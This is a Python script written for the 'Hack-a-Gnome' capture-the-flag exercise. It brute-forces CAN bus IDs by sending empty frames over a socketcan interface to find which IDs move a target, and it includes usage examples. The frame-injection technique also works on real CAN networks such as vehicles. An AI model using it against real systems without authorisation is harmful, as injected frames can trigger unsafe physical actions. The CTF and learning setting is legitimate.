#!/usr/bin/python3 """ CAN Bus ID Brute Forcer for Hack-a-Gnome CTF Finds the correct CAN IDs for movement commands """ import can import time import argparse import sys IFACE_NAME = "gcan0" def send_can_message(bus, can_id): """Sends a CAN message with the given ID.""" message = can.Message( arbitration_id=can_id, data=[], is_extended_id=False ) try: bus.send(message) return True except can.CanError as e: print(f"Error sending message: {e}") return False def brute_force(start_id, end_id, delay, direction=None): """Brute force CAN IDs in the given range.""" try: bus = can.interface.Bus(channel=IFACE_NAME, interface='socketcan', receive_own_messages=False) print(f"[+] Connected to {IFACE_NAME}") except OSError as e: print(f"[-] Error connecting to CAN interface {IFACE_NAME}: {e}") sys.exit(1) except Exception as e: print(f"[-] Unexpected error: {e}") sys.exit(1) print(f"[*] Brute forcing CAN IDs from 0x{start_id:03X} to 0x{end_id:03X}") print(f"[*] Delay: {delay} seconds between attempts") if direction: print(f"[*] Looking for: {direction} command") print(f"[*] Watch the gnome on the web UI for movement!") print("-" * 50) try: for can_id in range(start_id, end_id + 1): print(f"[*] Trying CAN ID: 0x{can_id:03X} ({can_id})") send_can_message(bus, can_id) time.sleep(delay) except KeyboardInterrupt: print(f"\n[!] Stopped at CAN ID: 0x{can_id:03X}") print(f"[*] To resume, use: --start 0x{can_id:03X}") finally: bus.shutdown() print("[*] CAN bus connection closed.") def test_specific_ids(ids, delay, repeat=1): """Test specific CAN IDs.""" try: bus = can.interface.Bus(channel=IFACE_NAME, interface='socketcan', receive_own_messages=False) print(f"[+] Connected to {IFACE_NAME}") except Exception as e: print(f"[-] Error: {e}") sys.exit(1) print(f"[*] Testing specific CAN IDs: {[hex(i) for i in ids]}") print(f"[*] Repeating {repeat} time(s) each") print("-" * 50) try: for _ in range(repeat): for can_id in ids: print(f"[*] Sending CAN ID: 0x{can_id:03X}") send_can_message(bus, can_id) time.sleep(delay) except KeyboardInterrupt: print("\n[!] Stopped by user") finally: bus.shutdown() print("[*] CAN bus connection closed.") def main(): parser = argparse.ArgumentParser( description="CAN Bus ID Brute Forcer for finding movement commands", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Brute force full range (slow) python3 canbus_bruteforce.py --start 0x000 --end 0xFFF # Brute force a smaller range python3 canbus_bruteforce.py --start 0x500 --end 0x600 # Test specific IDs you suspect python3 canbus_bruteforce.py --test 0x500 0x501 0x502 0x503 # Faster scanning (use with caution) python3 canbus_bruteforce.py --start 0x000 --end 0xFFF --delay 0.2 """ ) parser.add_argument("--start", type=lambda x: int(x, 0), default=0x000, help="Start CAN ID (default: 0x000)") parser.add_argument("--end", type=lambda x: int(x, 0), default=0xFFF, help="End CAN ID (default: 0xFFF)") parser.add_argument("--delay", "-d", type=float, default=0.5, help="Delay between attempts in seconds (default: 0.5)") parser.add_argument("--direction", "-D", choices=["up", "down", "left", "right"], help="Direction you're looking for (just for logging)") parser.add_argument("--test", "-t", type=lambda x: int(x, 0), nargs="+", help="Test specific CAN IDs instead of brute forcing") parser.add_argument("--repeat", "-r", type=int, default=1, help="Repeat test IDs N times (default: 1)") args = parser.parse_args() if args.test: test_specific_ids(args.test, args.delay, args.repeat) else: brute_force(args.start, args.end, args.delay, args.direction) if __name__ == "__main__": main()